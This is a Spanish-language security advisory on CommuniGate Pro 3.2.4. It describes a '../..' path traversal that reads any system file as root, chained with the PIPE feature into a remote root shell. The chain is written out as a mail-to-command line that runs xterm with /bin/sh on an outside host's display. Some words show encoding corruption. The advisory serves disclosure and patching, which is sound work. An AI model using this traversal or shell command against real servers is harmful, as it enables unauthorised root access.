El servidor de correo CommuniGate Pro posee un servicio web que permite escalar directorios fuera de su ámbito, a través de peticiones «../..», y leer cualquier fichero del sistema. La explotación de esta vulnerabilidad, junto con otras funcionalidades del programa, permite el acceso remoto como root.
CommuniGate Pro es un servidor de correo comercial utilizado como enrutador de mensajes SMTP y acceso a los mensajes a través de POP, IMAP y HTTP, entre otros. Cuenta con versiones para una gran cantidad de plataformas, si bien las vulnerabilidades que nos ocupan han sido probadas en la distribución Linux de la versión 3.2.4.
Por defecto, el servidor de correo ofrece un servicio HTTP que permite a los usuarios recibir y mandar mensajes a través de la web en el puerto TCP 8100, al mismo tiempo que facilita al administrador la configuración y gestión remota del servidor de correo por el puerto 8010.
CommuniGate nos ofrece una URL para acceder de forma directa a la guía web del usuario, tras mapear /Guide/ a un subdirectorio de la trayectoria donde hemos instalado el programa. El servidor web que incorpora el programa sufre el conocido problema de la escalada de directorios a trav’s de peticiones «../..». Si hacemos una petici¢n al mapeo /Guide/ del servidor web de gesti¢n usando esta t’cnica, y dado que CommuniGate se ejecuta como superusuario y no libera sus privilegios, podr¡amos obtener cualquier fichero del sistema, incluido el archivos de contrase_as.
Mirando algunas de las funcionalidades de CommuniGate encontramos la funci¢n PIPE, que permite a cualquier usuario mandar mensajes a un programa en el servidor de correo. Por defecto esta funcionalidad est desactivada, aunque dado que poseemos la contrase_a de gesti¢n, gracias a la anterior vulnerabilidad, podemos activarla, configurar el directorio de aplicaciones como /usr/X11R6/bin, incrementar el tiempo m ximo de ejecuci¢n de un proceso y mandar un correo a «xterm -display 172.16.2.4:0.0 -e /bin/sh»@pipe con lo que se nos abrir una xterm como root en el escritorio.
Las versiones a partir de la v3.3b2 ya tienen este problema solucionado, y pueden obtenerse de la web del fabricante http://www.stalker.com.
Opina sobre esta noticia:
http://www.hispasec.com/unaaldiacom.asp?id=653
M s informaci¢n:
CommuniGate Pro
http://www.stalker.com/CommuniGatePro/
Vulnerabilidades en CommuniGate Pro v3.2.4 (S21SEC)
http://www.s21sec.com/es/avisos/s21sec-003-es.txt
Lluis Mora
Fermin J. Serna
http://www.s21sec.com
http://www.hispasec.com
